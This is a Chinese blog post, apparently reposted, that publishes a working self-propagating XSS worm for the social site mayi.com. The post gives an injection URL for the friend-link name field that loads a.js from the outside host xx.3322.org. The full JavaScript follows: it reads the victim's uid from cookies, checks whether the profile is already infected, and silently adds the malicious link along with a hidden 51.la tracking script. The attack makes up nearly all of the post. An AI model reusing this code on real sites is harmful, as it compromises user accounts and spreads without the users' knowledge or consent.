蚂蚁网蠕虫

nowish
网址:http://www.mayi.com/
在空间设置–>友情链接–>名称中,可以加入Js代码,要实现蠕虫的功能,就要自动加链接,刚好找到一个GET的方法:

http://www.mayi.com/ajax/links.aspx?action=add&title=baidu%253Cscript%2Fsrc%253Dhttp%253A%2F%2Fxx.3322.org%2Fmayi%2Fa.js%253E%253C%2Fscript%253E&url=http%253A%2F%2Fwww.gg.com
但是在这里会一直加,貌似有DOS的意思,所以只加一次的方法判断是否已经感染,如果是就不加勒。下面直接放代码。不用问我,我也看不懂。

var id=getid();
var check=check();
function getid()
{
var cookie = document.cookie;
var cook = cookie.split(";");
var x = cookie.indexOf("uid");
var y = cookie.indexOf(":");
var id = cookie.substring(x + 4, y);
return id;
}//从cookies中分离出id,这个id会在check()函数中用到
function ajax()
{
    var _xmlhttp;
    try {
        _xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    catch (e) {
        try {
            _xmlhttp=new XMLHttpRequest();
        }
        catch (e) {
            _xmlhttp=false;
        }
    }
    return _xmlhttp;
}
function check()
{   
var url = "http://www.mayi.com/people/"+id;
var xmlhttp = ajax();
xmlhttp.open(’get’, url, false);
    xmlhttp.send();
var page = xmlhttp.responseText;
    var check=page.indexOf("xx.3322.org");
    return check;
}//这个函数的功能是判断是否感染,可以看出是对比xx.3322.org这个字符串。
function postdata()
{   if (check == -1)
{
var url = "http://www.mayi.com/ajax/links.aspx?action=add&title=baidu%3Cscript/src%3Dhttp%3A//xx.3322.org/mayi/a.js%3E%3C/script%3E%3Cdiv%20style%3Ddisplay%3Anone%3E%3Cscript%20language%3Djavascript%20type%3Dtext/javascript%20src%3Dhttp%3A//js.users.51.la/xx.js%3E%3C/script%3E%3C/div%3E&url=http%253A%2F%2Fwww.baidu.com";
var xmlhttp = ajax();
xmlhttp.open(’get’, url, true);
xmlhttp.send();
}
}//ajax提交一个get,也就是增加一个友情链接。
postdata();

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值